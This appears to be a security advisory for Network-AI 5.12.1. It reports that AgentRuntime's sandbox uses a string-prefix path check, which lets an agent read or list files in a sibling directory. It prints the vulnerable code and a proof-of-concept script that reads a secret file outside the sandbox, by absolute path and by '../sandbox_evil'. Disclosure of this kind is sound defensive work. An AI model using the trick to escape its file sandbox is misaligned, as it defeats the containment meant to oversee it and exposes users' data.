Network-AI: AgentRuntime sandbox path-prefix checks allow file access outside the configured base directory

Summary

AgentRuntime promises scoped file access under a configured sandbox basePath, but its path containment checks use raw string prefix tests. A sandbox base such as /tmp/network-ai-sandbox also matches a sibling path such as /tmp/network-ai-sandbox_evil/secret.txt.

An agent/user that can call AgentRuntime.readFile() or AgentRuntime.listDir() can read or list files outside the intended sandbox when the target path is in a sibling directory sharing the base path prefix. This breaks the documented sandbox boundary. Confirmed in Network-AI 5.12.1. Severity: Medium, CVSS 3.1 vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.

Details

The vulnerable containment check is in lib/agent-runtime.ts:

resolvePath(filePath: string): string | null {
  const normalized = normalize(filePath);
  const absolute = isAbsolute(normalized)
    ? normalized
    : join(this.config.basePath, normalized);
  const resolved = resolve(absolute);

  // Traversal check
  if (!resolved.startsWith(this.config.basePath)) return null;
  return resolved;
}

startsWith() is not path-boundary-aware. If this.config.basePath is /tmp/network-ai-sandbox, then /tmp/network-ai-sandbox_evil/secret.txt also starts with /tmp/network-ai-sandbox despite being outside the sandbox.

The same pattern appears in SandboxPolicy.isPathAllowed() for allowed and blocked paths. FileAccessor.read(), FileAccessor.write(), and FileAccessor.list() rely on these checks before I/O, and AgentRuntime.readFile() exposes this behavior. Reads auto-approve by default when autoApproveReads is enabled.

Affected source evidence:

• lib/agent-runtime.ts:393-423 — isPathAllowed() / resolvePath() use string startsWith() containment.
• lib/agent-runtime.ts:669-691 — file read sink relies on those checks.
• lib/agent-runtime.ts:933-958 — AgentRuntime.readFile() exposes file reads.

PoC

Run from the repository root after installing dependencies:

node -r ts-node/register/transpile-only - <<'TS'
const { mkdtempSync, mkdirSync, writeFileSync, rmSync } = require('fs');
const { tmpdir } = require('os');
const { join } = require('path');
const { AgentRuntime } = require('./lib/agent-runtime');

(async () => {
  const parent = mkdtempSync(join(tmpdir(), 'network-ai-poc-'));
  const base = join(parent, 'sandbox');
  const sibling = join(parent, 'sandbox_evil');
  mkdirSync(base);
  mkdirSync(sibling);
  writeFileSync(join(sibling, 'secret.txt'), 'SECRET_OUTSIDE_SANDBOX', 'utf8');

  const runtime = new AgentRuntime({
    policy: { basePath: base, allowedPaths: ['.'], allowedCommands: [] },
  });

  const absoluteRead = await runtime.readFile(join(sibling, 'secret.txt'), 'poc-agent');
  const relativeRead = await runtime.readFile('../sandbox_evil/secret.txt', 'poc-agent');
  console.log(JSON.stringify({
    base,
    outside: join(sibling, 'secret.txt'),
    absoluteRead: { success: absoluteRead.success, content: absoluteRead.content },
    relativeRead: { success: relativeRead.success, content: relativeRead.content },
  }, null, 2));
  rmSync(parent, { recursive: true, force: true });
})();
TS